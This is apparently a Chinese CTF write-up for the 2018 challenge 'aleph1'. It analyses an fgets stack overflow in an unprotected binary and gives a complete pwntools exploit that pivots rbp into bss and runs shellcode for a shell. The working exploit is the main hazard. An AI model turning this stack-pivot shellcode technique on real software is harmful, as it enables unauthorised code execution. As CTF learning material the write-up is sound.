Pwn

2018铁三东北赛区之aleph1

rbp栈迁移

Posted by b0ldfrev on June 16, 2018

0x00 漏洞分析

检查保护

1
2
3
4
5
6
7
8
root@kali:~# checksec aleph1
[*] '/root/aleph1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

没有开启任何保护,拖进IDA

伪代码如下

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char yolo[1024];  #[rsp+0h] [rbp-400h]

  fgets(yolo, 1337, _bss_start);
  return 0;
}

汇编代码如下

1
2
3
4
5
6
7
8
9
10
11
0x4005ca <main>:	    push   rbp
0x4005cb <main+1>:	mov    rbp,rsp
0x4005ce <main+4>:	sub    rsp,0x400
0x4005d5 <main+11>:	mov    rdx,QWORD PTR [rip+0x200a54] #0x601030<stdin@@GLIBC_2.2.5>
0x4005dc <main+18>:	lea    rax,[rbp-0x400]
0x4005e3 <main+25>:	mov    esi,0x539
0x4005e8 <main+30>:	mov    rdi,rax
0x4005eb <main+33>:	call   0x4004d0 <fgets@plt>
0x4005f0 <main+38>:	mov    eax,0x0
0x4005f5 <main+43>:	leave  
0x4005f6 <main+44>:	ret    

函数原型

char *fgets(char *buf, int bufsize, FILE *stream);

从文件结构体指针stream中读取数据,每次读取一行。读取的数据保存在buf指向的字符数组中,每次最多读取bufsize-1个字符(第bufsize个字符赋’\0’).

明显fgets()函数存在溢出,但是我在尝试了用__libc_csu_init函数的通用ROP,但仔细一想,第三个参数用的是标准输入,而这个以指针的方式存在于bss段中。我们没办法定位stdin的实际地址,传入rdx。如果通过传统的方式,很难完成第三个参数的传递,就没法完成第二次输入。

后发现rbp可利用,所以采用rbp迁移的方法溢出。

0x01 漏洞利用

1.测得偏移为1032

1
2
gdb-peda$ pattern offset DAn;An)AnEAnaAn0AnFA
found at offset: 1032

2.覆盖rbp为bss+0x400,覆盖ret返回到0x4005d5 <main+11>: mov rdx,QWORD PTR [rip+0x200a54]

因为push rbprbp压入栈,所以覆盖栈中的rbp为(bss+0x400),为什么要这样覆盖?第一个buf参数为rbp-0x400,第二次执行fgets时要向bss段首写入shellcode,所以要将bss段地址加上0x400

3.二次执行fgets时,将shellcode写入了bss段首,并继续写入其他数据填满0x400+p64(任意)个字节后填一个bss段首地址.执行到leave指令时,rbp=bss+0x400,leave可简化为mov rsp,rbp ; pop rbp, mov rsp,rbp将栈迁移到bss+400,pop一个任意值到rbp,ret到bss段首,执行shellcode,拿下shell

0x02 完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
import pwnlib
context(os='linux', arch='amd64', log_level='debug')
e=ELF("./aleph1")
fgets_plt=e.plt['fgets']
bss_addr = e.bss()
shellcode=asm(shellcraft.sh())
shellcode+='A'*984
shellcode+=p64(bss_addr)
payload='a'*1024+p64(bss_addr+0x400)+p64(0x4005D5)
s=process("./aleph1")
s.sendline(payload)
#pwnlib.gdb.attach(s)
s.sendline(shellcode)
s.interactive()

0x03 运行结果

pic1

文件下载